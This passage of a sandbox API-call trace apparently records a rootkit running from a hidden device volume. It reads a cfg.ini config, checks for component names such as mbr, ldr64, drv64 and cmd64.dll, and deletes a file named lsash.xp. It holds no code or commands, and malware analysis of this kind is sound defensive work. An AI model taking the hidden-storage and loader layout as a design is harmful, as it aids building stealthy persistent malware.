[0126.948] KeLeaveCriticalRegion () [0126.948] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.948] ReleaseMutex (hMutex=0xf0) returned 1 [0126.948] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.948] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.948] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.948] KeEnterCriticalRegion () [0126.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.948] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.948] IdePortDispatch () returned 0x103 [0126.948] KeWaitForMutexObject () returned 0x0 [0126.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.948] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.948] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.948] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.948] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.948] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003acc770 [0126.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.949] KeLeaveCriticalRegion () [0126.949] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.949] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.949] KeEnterCriticalRegion () [0126.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.949] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.949] KeLeaveCriticalRegion () [0126.949] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.949] KeEnterCriticalRegion () [0126.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.949] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.949] IdePortDispatch () returned 0x103 [0126.949] KeWaitForMutexObject () returned 0x0 [0126.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.949] KeLeaveCriticalRegion () [0126.949] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.949] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.950] KeEnterCriticalRegion () [0126.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.950] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3f000 [0126.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.950] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.950] IdePortDispatch () returned 0x103 [0126.950] KeWaitForMutexObject () returned 0x0 [0126.950] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.950] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.950] IdePortDispatch () returned 0x103 [0126.950] KeWaitForMutexObject () returned 0x0 [0126.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.950] KeLeaveCriticalRegion () [0126.950] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.951] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.951] KeEnterCriticalRegion () [0126.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.951] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.951] KeLeaveCriticalRegion () [0126.951] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.951] KeEnterCriticalRegion () [0126.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.951] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.951] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.951] KeLeaveCriticalRegion () [0126.951] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.951] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.951] KeEnterCriticalRegion () [0126.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.952] ExFreePoolWithTag (P=0xfffffa8003acc770, Tag=0x0) [0126.952] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.952] KeLeaveCriticalRegion () [0126.952] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.952] ReleaseMutex (hMutex=0xf0) returned 1 [0126.952] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.952] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.952] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.952] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.952] KeEnterCriticalRegion () [0126.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.952] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.952] IdePortDispatch () returned 0x103 [0126.952] KeWaitForMutexObject () returned 0x0 [0126.952] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.952] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.952] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.952] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.952] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.952] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.952] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.952] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.952] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.953] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.953] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.953] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.953] KeLeaveCriticalRegion () [0126.953] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.953] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.953] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.953] KeEnterCriticalRegion () [0126.953] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.953] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.953] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.953] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.953] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.953] IdePortDispatch () returned 0x103 [0126.953] KeWaitForMutexObject () returned 0x0 [0126.953] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.953] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.953] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.953] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.953] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.953] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.953] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.953] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.954] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.954] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.954] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.954] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.954] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.954] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.954] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.954] KeLeaveCriticalRegion () [0126.954] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.954] ReleaseMutex (hMutex=0x100) returned 1 [0126.954] Sleep (dwMilliseconds=0x2bf20) [0126.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6edfeef0, dwHighDateTime=0x1d24fa4)) [0126.963] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.963] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.963] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.963] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.963] KeEnterCriticalRegion () [0126.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.963] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.963] IdePortDispatch () returned 0x103 [0126.963] KeWaitForMutexObject () returned 0x0 [0126.963] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.963] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.963] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.963] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.964] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.964] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da530 [0126.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.964] KeLeaveCriticalRegion () [0126.964] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.964] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.964] KeEnterCriticalRegion () [0126.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.964] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.964] KeLeaveCriticalRegion () [0126.964] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.964] KeEnterCriticalRegion () [0126.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.964] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.964] IdePortDispatch () returned 0x103 [0126.964] KeWaitForMutexObject () returned 0x0 [0126.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.964] KeLeaveCriticalRegion () [0126.964] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.965] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.965] KeEnterCriticalRegion () [0126.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b42000 [0126.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.965] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.965] IdePortDispatch () returned 0x103 [0126.965] KeWaitForMutexObject () returned 0x0 [0126.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.965] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.965] IdePortDispatch () returned 0x103 [0126.965] KeWaitForMutexObject () returned 0x0 [0126.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.966] KeLeaveCriticalRegion () [0126.966] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.966] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.966] KeEnterCriticalRegion () [0126.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.966] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.966] KeLeaveCriticalRegion () [0126.966] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.966] KeEnterCriticalRegion () [0126.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.966] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.967] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.967] KeLeaveCriticalRegion () [0126.967] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.967] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.967] KeEnterCriticalRegion () [0126.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.967] ExFreePoolWithTag (P=0xfffffa80037da530, Tag=0x0) [0126.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.967] KeLeaveCriticalRegion () [0126.967] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.967] ReleaseMutex (hMutex=0xf0) returned 1 [0126.967] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.967] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.967] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.967] KeEnterCriticalRegion () [0126.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.967] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.967] IdePortDispatch () returned 0x103 [0126.967] KeWaitForMutexObject () returned 0x0 [0126.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.967] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.968] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.968] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.968] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.968] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037df310 [0126.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.968] KeLeaveCriticalRegion () [0126.968] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.968] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.968] KeEnterCriticalRegion () [0126.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.968] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.968] KeLeaveCriticalRegion () [0126.968] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.968] KeEnterCriticalRegion () [0126.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.968] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.968] IdePortDispatch () returned 0x103 [0126.968] KeWaitForMutexObject () returned 0x0 [0126.968] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.968] KeLeaveCriticalRegion () [0126.968] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.969] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.969] KeEnterCriticalRegion () [0126.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.969] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b43000 [0126.969] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.969] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 